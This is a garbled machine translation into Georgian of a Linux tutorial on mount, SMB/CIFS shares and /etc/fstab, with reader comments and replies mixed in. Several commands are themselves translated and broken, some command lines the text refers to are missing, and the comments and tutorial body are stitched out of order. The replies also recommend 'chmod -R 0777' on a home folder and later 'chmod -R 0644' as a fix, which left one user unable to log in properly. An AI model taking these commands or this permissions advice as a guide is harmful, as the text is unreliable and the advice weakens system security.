დამონტაჟებული მოწყობილობების ნახვა ხორციელდება ბრძანებით:

ამის შემდეგ ეკრანზე ნახავთ:

/dev/sda1 ჩართულია / აკრიფეთ reiserfs (rw,relatime,notail) tmpfs on /lib/init/rw ტიპის tmpfs (rw,nosuid,mode=0755)
/proc on /proc ტიპის proc (rw,noexec,nosuid,nodev)
sysfs on /sys ტიპის sysfs (rw,noexec,nosuid,nodev)
varrun on /var/run ტიპის tmpfs (rw,nosuid,mode=0755)
varlock on /var/lock ტიპის tmpfs (rw,noexec,nosuid,nodev,mode=1777)
udev on /dev ტიპის tmpfs (rw,mode=0755)
tmpfs /dev/shm ტიპის tmpfs (rw,nosuid,nodev)
devpts on /dev/pts ტიპის devpts (rw,noexec,nosuid,gid=5,mode=620)
fusectl on /sys/fs/fuse/connections ტიპის fusectl (rw)
lrm on /lib/modules/2.6.27-14-generic/volatile type tmpfs (rw,mode=755)
/dev/sda3 on /home ტიპი ext3 (rw,relatime)
Securityfs /sys/kernel/უსაფრთხოების ტიპის Securityfs (rw)
binfmt_misc /proc/sys/fs/binfmt_misc ტიპის binfmt_misc (rw,noexec,nosuid,nodev)
gvfs-fuse-daemon-ზე /home/user/.gvfs ტიპის fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=user)
/dev/sdc/media/USBFlash ტიპის vfat (rw,nosuid,nodev,uhelper=hal, shortname=mixed,uid=1000,utf8, umask=077,flush)

• პირველ სტრიქონში ნათქვამია, რომ root ფაილური სისტემა არის reiserfs ფაილური სისტემა დამაგრების პარამეტრებით: წაკითხვისა და ჩაწერის წვდომა (rw)
• /dev/sda3 არის /home დისკის დანაყოფი
• /dev/sdc არის დამონტაჟებული მოსახსნელი USB მოწყობილობა

იგივე შედეგის მიღწევა შესაძლებელია /etc/mtab ფაილის შიგთავსის დათვალიერებით (ზოგიერთ Linux სისტემაში ფაილს უწოდებენ /etc/mnt/tab)

კოლიბრი
27 მარტი, 09:27

მას შემდეგ რაც შევიყვანე ეს ბრძანება: sudo chmod -R 0777 /home/roza/Desktop არ იყო შეცდომის შეტყობინებები Debian-ში, მაგრამ Mint-ში ჩატვირთვისას ჩნდება შეტყობინება შემდეგი შინაარსით:

მომხმარებლის ფაილს $HOME/.dmrc აქვს არასწორი ნებართვები და იგნორირებულია. ეს ხელს უშლის ნაგულისხმევი სესიისა და ენის შენახვას. ამ ფაილის მფლობელი უნდა იყოს მომხმარებელი და ფაილს უნდა ჰქონდეს ნებართვა 0644. მომხმარებლის მთავარი საქაღალდე ($HOME) უნდა იყოს მომხმარებლის საკუთრება და არ უნდა იყოს დაწერილი სხვა მომხმარებლების მიერ.

შემდეგ ყველაფერი იყინება რამდენიმე წამით და დესკტოპი იხსნება. ახლა კი ვერ ვიყენებ სუდოს და უბრალოდ სუს - ტერმინალი რუსულად არ გინება. შესაძლებელია თუ არა ($HOME) უფლებების აღდგენა. იქნებ ამის გაკეთება შესაძლებელია Mint ცოცხალი დისკის გამოყენებით?

Mut@NT
29 მარტი, 12:13

Hummingbird: შემდეგ ყველაფერი იყინება რამდენიმე წამით და იხსნება სამუშაო მაგიდა. ახლა კი ვერ ვიყენებ სუდოს და უბრალოდ სუს - ტერმინალი რუსულად არ გინება. შესაძლებელია თუ არა ($HOME) უფლებების აღდგენა. იქნებ ამის გაკეთება შესაძლებელია Mint ცოცხალი დისკის გამოყენებით?

აბა, შეეცადეთ დაიბრუნოთ უფლებები:
sudo chmod -R 0644 /home/roza/Desktop

და მფლობელი:
სუდო ჩაუნი -R YOUR_LOGIN_IN_MINT /home/roza/Desktop

კოლიბრი
2 აპრილი, 08:43

Mut@NT
3 აპრილი, 13:39

კოლიბრა: მაინც არაფერი გამოვიდა :(. ზოგადად, ტიხრი ისევ პიტნით დავაინსტალირე. მთავარია, ტიხრების დამონტაჟება ვისწავლე (მივხვდი, როგორ გავაკეთო, მერე უფრო ადვილია) და მეც ვისწავლე გაკვეთილი ჩემთვის - ძალიან ფრთხილად უნდა გაანაწილოთ უფლებები, ნებისმიერ შემთხვევაში გმადლობთ!

P.S. მთავარია რაღაც ისწავლე ))

ალექსი მშენებარე
19 მაისი, 08:41

Გმადლობთ.
რამდენიმე დამატება.
1. მაგალითად, ჩემს მყარი დისკის დანაყოფის დამონტაჟება არ სურდა Windows-ის აპარატთან დაკავშირების შემდეგ, რომელიც ვირუსებით იყო ინფიცირებული. მოხდა ისე, რომ ვირუსმა დააგდო autorun.exe ჩემი დანაყოფის ძირში და ამის გამო Linux-ს არ სურდა ამ დანაყოფის დამონტაჟება.
არ მინდოდა მისი დამონტაჟება არა autorun.exe-ის გამო, არამედ იმიტომ, რომ დიდი ალბათობით ვინდოუსი ჩაქრა „არასწორად“ და ntfs-ზე იყო ბაიტი ფაილური სისტემის მთლიანობის შესამოწმებლად. ამასთან დაკავშირებით, ntfs3g "ძალის" გარეშე ეშინია ასეთი FS-ის დამონტაჟებას, რათა არ დააზიანოს იგი.
2. ვინაიდან არსებობს განყოფილება „SMB“-ის შესახებ, ღირს CIFS-ის აღნიშვნა.
და მაგალითად, მიეცი მსგავსი რამ:
mount -t cifs -o მომხმარებლის სახელი=დომენი\მომხმარებელი //remote-win2k3-server/C$ /mnt/smb/

ნეფაჟნო
20 მაისი, 15:26

ტონიკი
24 მაისი, 03:04

Mut@NT
26 მაისი, 17:27

AlexUnder Construction: გმადლობთ. რამდენიმე დამატება. 1. მაგალითად, ჩემს მყარი დისკის დანაყოფის დამონტაჟება არ სურდა Windows-ის აპარატთან დაკავშირების შემდეგ, რომელიც ვირუსებით იყო ინფიცირებული. მოხდა ისე, რომ ვირუსმა დააგდო autorun.exe ჩემი დანაყოფის ძირში და ამის გამო Linux-ს არ სურდა ამ დანაყოფის დამონტაჟება. არ მინდოდა მისი დამონტაჟება არა autorun.exe-ის გამო, არამედ იმიტომ, რომ დიდი ალბათობით ვინდოუსი ჩაქრა „არასწორად“ და ntfs-ზე იყო ბაიტი ფაილური სისტემის მთლიანობის შესამოწმებლად. ამასთან დაკავშირებით, ntfs3g "ძალის" გარეშე ეშინია ასეთი FS-ის დამონტაჟებას, რათა არ დააზიანოს იგი. 2. ვინაიდან არსებობს განყოფილება „SMB“-ის შესახებ, ღირს CIFS-ის აღნიშვნა. და მაგალითად, მიეცი მსგავსი რამ: mount -t cifs -o username=domain\user //remote-win2k3-server/C$ /mnt/smb/

არ არის მნიშვნელოვანი: კარგი იქნება, თუ NFS დამონტაჟებაც იქნება აღწერილი

მადლობა კომენტარისთვის. დავამატებ რამდენიმე დამატებას.

ტონიკი: და სტატია დამეხმარა. ელემენტარული! – დამავიწყდა როგორ დავამონტაჟო... სწრაფად გადავავლე სტატია და გამახსენდა. დიდი მადლობა ავტორს!

ხშირად დაბრუნდი :)

დენის
11 ივნისი, 11:47

გმადლობთ სტატიისთვის,
ძალიან კარგი გასაგებად

ლუდმილა
9 ივლისი, 13:05

# sudo mount -t smbfs -o მომხმარებლის სახელი=vasja,პაროლი=pupkin //pupkin_v/ვიდეო /სახლი/მომხმარებელი/ვიდეო
არ მუშაობს, ეხმარება
გამოყენება:……
ვმუშაობ უბუნტუში. თქვენ უნდა დააკავშიროთ გაზიარებული Windows საქაღალდე
იქნებ გუნდი ცდება?

Mut@NT
9 ივლისი, 22:11

ლუდმილა: # sudo mount -t smbfs -o username=vasja,password=pupkin //pupkin_v/Video /home/user/video არ მუშაობს, იძლევა დახმარებას გამოყენებაში: ...... მე ვმუშაობ ubuntu-ში. თქვენ უნდა დააკავშიროთ გაზიარებული Windows საქაღალდე, იქნებ ბრძანება არასწორია?

ხაზი
მომხმარებლის სახელი = vasja, პაროლი = pupkin
უნდა შეიცვალოს საჭირო პარამეტრებით. თუ თქვენ უკავშირდებით სტუმრის სახელით, მაშინ ფრთხილად უნდა იყოთ, არის ნიუანსები და განსხვავებები რუსულ და ინგლისურ Windows OS-ს შორის

ანდრეი
31 აგვისტო, 10:04

Ubuntu-ში ასე უნდა იყოს:
mount -t cifs -o მომხმარებლის სახელი=tridge,პაროლი=foobar //fjall/test /mnt/smb/fjall

C.J.
14 სექტემბერი, 20:28

cj@Monster:~$ sudo umount /dev/sda1
umount: /: მოწყობილობა დაკავებულია. (ზოგიერთ შემთხვევაში სასარგებლო ინფორმაცია პროცესების შესახებ, რომლებიც იყენებენ მოწყობილობას, პოულობს lsof(8) ან fuser(1))
cj@Monster:~$ df -h
ფაილური სისტემის ზომა გამოყენება Dost Use % დამონტაჟებულია
/dev/sdb1 26G 9.1G 16G 37% /
არცერთი 1.7G 416K 1.7G 1% /dev
არცერთი 1.7G 0 1.7G 0% /dev/shm
არცერთი 1.7G 200K 1.7G 1% /var/run
არცერთი 1.7G 0 1.7G 0% /var/lock
არცერთი 1.7G 0 1.7G 0% /lib/init/rw
/dev/sdb6 33G 15G 19G 45% /media/4403D3D754B7C8F5
/dev/sdb5 30G 22G 8.1G 74% /media/Win7
/dev/sda5 50G 8.9G 41G 18% /media/სხვა
/dev/sdc1 373G 372G 946M 100% /media/STORAGE
/dev/sdb7 94G 88G 5.5G 95% /მედია/მუსიკა და თამაშები
/dev/sda1 26G 9.1G 16G 37% /

ვლადიმირ
15 სექტემბერი, 09:46

Mut@NT
19 სექტემბერი, 20:14

CJ: თქვენ უნდა დაამონტაჟოთ /dev/sda1 დისკი, მაგრამ მითითებულია, რომ ის უკვე დამონტაჟებულია "/" წერტილში, თუმცა Ubuntu სისტემის დანაყოფი ამ ეტაპზეა დამონტაჟებული. მითხარი რა ვქნა უკვე ვიტანჯები :(

თქვენ შეგიძლიათ აჩვენოთ ბრძანების გამომავალი:
სუდო ფდისკი -ლ

ვლადიმერ:
ერთადერთი შენიშვნა არის შეცდომები tsya/tsya-ს გამოყენებაში -TSYA თუ -TSYA? Გმადლობთ კიდევ ერთხელ.:)

ეს შეიძლება იყოს ;) თქვენ მოგიწევთ თქვენი რედაქტორის ყურადღების მიქცევა ;)

ტარასი
27 სექტემბერი, 06:59

Mut@NT
30 სექტემბერი, 06:46

ტარასი: samba mount ბრძანება არ მუშაობს.

კონკრეტულად რა არ მუშაობს მასში?

რომაული
2 ნოემბერი, 20:41

რა მოხდება, თუ ფაილური სისტემა არის LWM2 და Linux Mint ჩივის?!
ანუ ბრძანება sudo mount -t lwm2 /dev/sdb /home/user/Video არ მიიღება.

zzzubr
2 ნოემბერი, 22:52

Mut@NT: sudo mount -t ext3 -o rw /dev/hda3 /home/roza/Desktop
Ისე? ანუ სამონტაჟო წერტილი არის /home/roza/Desktop?

თუ ყველაფერი დამონტაჟებულია თქვენთვის და ფაილური სისტემა /dev/hda3 ჩანს, მაგრამ თქვენ არ გაქვთ საკმარისი უფლებები, თქვენ უბრალოდ უნდა დაამატოთ ეს უფლებები:
sudo chmod -R 0777 /home/roza/Desktop

მმმ... მეჩვენება... რომ ეს არც ისე კარგი გზა იყო... უფრო სწორი იქნებოდა root-დან შესვლა, რადგან ასე ყველას და ყველაფერს აძლევდი უფლებას... და ეს არ არის კარგი. ...

IMHO! მიუხედავად იმისა, რომ ამბობენ, რომ მილიონი სტატიაა, მაინც კარგი სტატიაა) მაგრამ საკმარისი მაგალითები არ არის... მინდა ვნახო რამდენიმე არასტანდარტული აპლიკაცია... რადგან მაგალითებით ყველაფერი უფრო ადვილი გასაგებია)
29 ნოემბერი, 20:33

Mut@NT
5 დეკემბერი, 19:34

maks: ეს იყო Windows, მყარი დისკი დაყოფილი იყო 4 ლოგიკურ დისკზე (c,d,e,f). მე დავაყენე ubuntu 10.04 დისკზე "c", რითაც გავანადგურე Windows. ახლა არ მაქვს წვდომა და ვერ ვხედავ სხვა ლოგიკურ დისკებს. გთხოვთ მითხრათ რა გავაკეთო მათზე წვდომისთვის?

იჰორ
6 დეკემბერი, 14:41

>
>

Mut@NT
14 დეკემბერი, 10:48

Ihor: > მყარი დისკის ტიხრების დამონტაჟება
> ...შეგიძლიათ აიღოთ ნებისმიერი სამონტაჟო წერტილი.
როგორც ჩანს, დიდ წითელ წიგნში (მეც გავიგე "ნემეტის მიერ") ნათქვამია: "... მიზანშეწონილია, რომ არ იყოს ფაილები იმ საქაღალდეში, სადაც თქვენ აყენებთ, რადგან ისინი არ ჩანს."

ისე, ეს ცხადია.

Მულტფილმი
7 იანვარი, 22:06

დამონტაჟდა iso გამოსახულება

# sudo mount -t iso9660 -o loop /home/op/iso/1.iso /home/op/disk

ის წერს რუსული ფაილების სახელებს საიდუმლო ენით.

უმნიკი
29 მარტი, 16:15

ბევრი სტატია და წიგნია, მაგრამ პირველად ვნახე რაღაც ადამიანურად დაწერილი, ასე ვთქვათ, ნაჩვენები და ვუთხარი ავტორს, ცოტა რამ ვიპოვე ჩემთვის, მაგრამ რამდენიმე წლის განმავლობაში ვერ შევძელი. ვერ გავიგე და ვერ ვიპოვე. ავტორი პატივისცემის ღირსია, ასეთი სტატია 7 წლის წინ რომ მომეცა ხელში, როცა ლინუქსის სივრცეში დავიწყე სერფინგი, ძალიან ბედნიერი ვიქნებოდი.

ყველაფერი ნათქვამია

ზლობიკი
18 აგვისტო, 08:09

გთხოვთ, მითხრათ, როგორ გავასუფთავო სამონტაჟო კუდები? Გმადლობთ.

ნეონი
12 იანვარი, 23:29

აქ სასაცილო ამბავი დამემართა. ვცადე Windows-ის ჩამტვირთავი ფლეშ დრაივის გაკეთება. მე დავაფორმატე ფლეშ დრაივი mkfs ბრძანებით, შემდეგ ზოგიერთი "მოწინავე" მომხმარებლის რეკომენდაციით. დავაინსტალირე gparted აპლიკაცია, ფლეშკას მივეცი ჩამტვირთავი (აქტიური) დროშა... და ამის შემდეგ დაიწყო სასწაულები:
1. პრობლემა: mount & umount ბრძანებები გაქრა
2. ჩვენ მოვახერხეთ ბრძანებების აღდგენა, მაგრამ არის სხვა პრობლემა. დანაყოფის დამონტაჟებისას (რა სისტემაც არ უნდა იყოს), fs დაკავშირებულია წაკითხვის რეჟიმში და წვდომის უფლებების შეცვლა შეუძლებელია. სისტემა უბრალოდ არ პასუხობს ამ ბრძანების კლავიშებს და ამბობს, რომ ყველაფერი კარგადაა, ოპერაცია წარმატებით დასრულდა.

დასკვნა შემიძლია ავიღო ფაილები ნებისმიერი მედიიდან, მაგრამ არ შემიძლია ფაილების გაცემა. წავიკითხე სტატია fstab-დან. ფაილი ხელით გადავწერე. მე მასში მეტი ცვლილება არ შემიტანია. მაგრამ ჩაწერისა და შესრულების უფლებებით დისკის დამონტაჟების მცდელობა მაინც წარუმატებლად დასრულდა. მას შემდეგ რაც წავშალე gparted და გადატვირთე სისტემა, ჩემს მიერ რედაქტირებულმა fstab ფაილმა დაიწყო სწორად მუშაობა და დამაგრების ბრძანებები აღდგა.

ყურადღება შეკითხვა: რა არის gparted-ის ასეთი ქცევის მიზეზი და როგორ გააკეთა ეს? აბა, როგორ გავუმკლავდეთ ამას gparted-ის წაშლის გარეშე?

აგათა
21 იანვარი, 23:07

შესანიშნავი, გასაგები სტატიები: ეს, ".. SWAP Linux-ში", ".. რა არის fstab?"!
ძვირფასო ავტორო, გთხოვთ დაწეროთ კიდევ რამდენიმე თემები, როგორიცაა დაყოფა, დისკის დანაყოფი, დანაყოფების გაერთიანება, სახლში სხვა დანაყოფზე გადასვლა.
ეს იქნება შესანიშნავი კოლექცია!

ალექსანდრე
7 აპრილი, 00:35 საათი

შესაძლებელია როგორმე ამ სასწაული პროგრამის წყაროს კოდის მიღება?

სბპ
29 ივნისი, 01:27

Მითხარი რა გავაკეთო?
ერთი კვირის წინ დავაყენე Ubuntu 12.04. გარკვეული უყურადღებო ქმედებების შემდეგ, სისტემა დაიშალა. დისკი შეიცავს 250 GB ინფორმაციას. LiveCD HDD ხედავს, მაგრამ არ იწყება (შეცდომას იძლევა). და მისი დაკავშირების გზა არ არსებობს. აი შედეგი (თუნდაც ამ ვერსიაში) -
root@ubuntu:~# sudo mount -t ext4 -o force /dev/sda1 /
mount: არასწორი fs ტიპი, ცუდი ოფცია, ცუდი სუპერბლოკი /dev/sda1-ზე, აკლია კოდის გვერდი ან დამხმარე პროგრამა, ან სხვა შეცდომა ზოგიერთ შემთხვევაში, სასარგებლო ინფორმაცია შეგიძლიათ იხილოთ syslog-ში - სცადეთ dmesg | კუდი ან მსგავსი რამ

ვცადე სისტემის აღდგენა ვებსაიტების რეკომენდაციების გამოყენებით, მაგრამ უშედეგოდ. დისკიდან ჩატვირთვისას მიუთითებს, რომ ჩატვირთვის მენეჯერმა ვერ აღმოაჩინა ოპერაციული სისტემა.
მითხარი, რა გავაკეთო?, სად "გაიქცე"?

კინო
25 ოქტომბერი, 23:50

Საღამო მშვიდობისა. Linux-ზე არის კინოპროექტორის სერვერი. ის განსხვავდება ჩვეულებრივისგან იმით, რომ მას აქვს ჩაშენებული Digital Cinema პროგრამა პროექტორის საშუალებით ფილმების ჩვენებისთვის. დედაპლატა ცოტა ხნის წინ მოკვდა, გამოცვალეს და სხვა დააყენეს. ყველაფერი გადატვირთული იყო. ახლა სერვერი ვერ ხედავს პორტატულ SATA მყარ დისკს. იგი დაკავშირებულია სასწავლებლის გამოყენებით ფილმების სერვერზე გადასატანად (1 ფილმი იწონის 90-დან 300 გბ-მდე). მითხარი, შემიძლია გამოვიყენო mount ბრძანება, რომ ნახოს? (დენი მიეწოდება დისკს, ყველა კაბელი დაკავშირებულია, მაგრამ მაინც ვერ ხედავს დისკს)

ახლა, როდესაც ფაილური სისტემა შეიქმნა, შეგიძლიათ დანაყოფის დამონტაჟება. თავდაპირველად ის ცარიელი იქნება, რადგან სისტემას არ ჰქონდა წვდომა ფაილურ სისტემაზე ფაილების დასამატებლად. ფაილური სისტემების დამონტაჟების ბრძანება არის mount, მისი სინტაქსი ასეთია:

-t ოფცია გამოიყენება ფაილური სისტემის ტიპის დასაზუსტებლად, რომელიც უნდა იყოს დანაყოფზე. აქ არის ფაილური სისტემები, რომლებსაც ყველაზე ხშირად ნახავთ: ext2FS (GNU/Linux ფაილური სისტემა) ან ext3FS (ext2FS-ის გაუმჯობესებული ვერსია დღიურის ჩაწერის შესაძლებლობებით), VFAT (ყველა DOS/Windows ® დანაყოფებისთვის: FAT 12, 16 ან 32) და ISO9660 (CD-ROM ფაილური სისტემა) თუ არ მიუთითებთ რაიმე ტიპს, mount შეეცდება განსაზღვროს რომელი ფაილური სისტემა არის დანაყოფზე სუპერბლოკის წაკითხვით.

-o ოფცია გამოიყენება დამაგრების ერთი ან მეტი ვარიანტის დასაზუსტებლად. პარამეტრები, რომლებიც ვრცელდება ცალკეულ ფაილურ სისტემებზე, დამოკიდებული იქნება გამოყენებული ფაილურ სისტემაზე. დამატებითი ინფორმაციისთვის იხილეთ mount(8) man page.

ახლა, როდესაც დაამონტაჟეთ თქვენი ახალი დანაყოფი, დროა დააკოპიროთ მასში მთელი /usr დირექტორია:

ასე რომ, ჩვენი ახალი დანაყოფის ამოსაღებად შეგვიძლია შევიყვანოთ:

ეს ბრძანება გამორთავს მოწყობილობას და, თუ ეს შესაძლებელია, ხურავს ამ მოწყობილობის ყველა ღია სახელურს. როგორც წესი, შეგიძლიათ დისკის ამოღება ბრძანების გამოყენებით. თუ ამოღების ბრძანება ვერაფერს აკეთებს და არ გსურთ გადატვირთვა, გამოიყენეთ lazy unmount.

იმის გამო, რომ ეს დანაყოფი „იქცევა“ ჩვენს /usr დირექტორიაში, ჩვენ უნდა ვაცნობოთ სისტემას ამის შესახებ. ამისათვის ჩვენ ჩავასწორებთ /etc/fstab ფაილს. ეს შესაძლებელს ხდის გარკვეული ფაილური სისტემების დამონტაჟების ავტომატიზაციას, განსაკუთრებით მაშინ, როდესაც სისტემა ჩაიტვირთება. იგი შეიცავს ხაზებს, რომლებიც აღწერს ფაილურ სისტემებს, მათ დამაგრების წერტილებს და სხვა ვარიანტებს. აქ არის ასეთი ფაილის მაგალითი:

/dev/hda1 / ext2 ნაგულისხმევი 1 1 /dev/hda5 /home ext2 ნაგულისხმევი 1 2 /dev/hda6 swap swap defaults 0 0 /dev/hdc /mnt/cdrom auto umask=0,user,noauto,ro,exec,მომხმარებლები 0 0 არცერთი /mnt/floppy supermount dev=/dev/fd0,fs=ext2:vfat,--,სინქრონიზაცია,umask=0 0 0 არცერთი /proc proc ნაგულისხმევი 0 0 არცერთი /dev/pts devpts mode=0622 0 0

თითოეული ხაზი შედგება:

• ფაილური სისტემის შემცველი მოწყობილობა;
• სამონტაჟო წერტილები;
• ფაილური სისტემის ტიპი;
• სამონტაჟო პარამეტრები;
• დროშასარეზერვო კომუნალური ნაგავსაყრელისთვის;
• ფაილური სისტემის შემოწმების ბრძანება fsck-ის გამოყენებით ( ფაილური სისტემის შემოწმება).

ყოველთვისარის ელემენტი root ფაილური სისტემისთვის. Swap ტიხრები განსაკუთრებულია, ამიტომ ისინი არ ჩანს ხის სტრუქტურაში და ამ ტიხრების დამაგრების წერტილის ველი ყოველთვის შეიცავს swap საკვანძო სიტყვას. რაც შეეხება /proc ფაილურ სისტემას, ის უფრო დეტალურად იქნება აღწერილი მე-10 თავში. ფაილური სისტემა /პროც. კიდევ ერთი სპეციალური ფაილური სისტემა არის /dev/pts.

ამ ეტაპზე ჩვენ გადავიტანეთ მთელი /usr იერარქია /dev/hdb1-ზე და ახლა გვჭირდება ეს დანაყოფი დამონტაჟდეს როგორც /usr, როდესაც სისტემა ჩაიტვირთება. ამისათვის დაამატეთ შემდეგი ელემენტი /etc/fstab ფაილს:

/dev/hdb1 /usr ext2 ნაგულისხმევია 1 2

ახლა დანაყოფი დამონტაჟდება ყოველ ჩატვირთვაზე და საჭიროების შემთხვევაში შემოწმდება შეცდომებზე.

არსებობს ორი სპეციალური ვარიანტი: noauto და მომხმარებელი. noauto ოფცია განსაზღვრავს, რომ ფაილური სისტემა არ უნდა იყოს დამონტაჟებული ჩატვირთვისას, არამედ მხოლოდ მაშინ, როცა ამას აირჩევთ. მომხმარებლის ოფცია განსაზღვრავს, რომ ნებისმიერ მომხმარებელს შეეძლება ამ ფაილური სისტემის დამონტაჟება ან ამოტვირთვა. ეს ორი ვარიანტი ჩვეულებრივ გამოიყენება CD-ROM დისკებისთვის და ფლოპი დისკებისთვის. კიდევ ბევრი ვარიანტია და არის კაცის გვერდი /etc/fstab (fstab(5)), რომელიც შეგიძლიათ წაიკითხოთ დამატებითი ინფორმაციისთვის.

/etc/fstab-ის გამოყენების ერთ-ერთი უპირატესობა ის არის, რომ ის ამარტივებს mount ბრძანების სინტაქსს.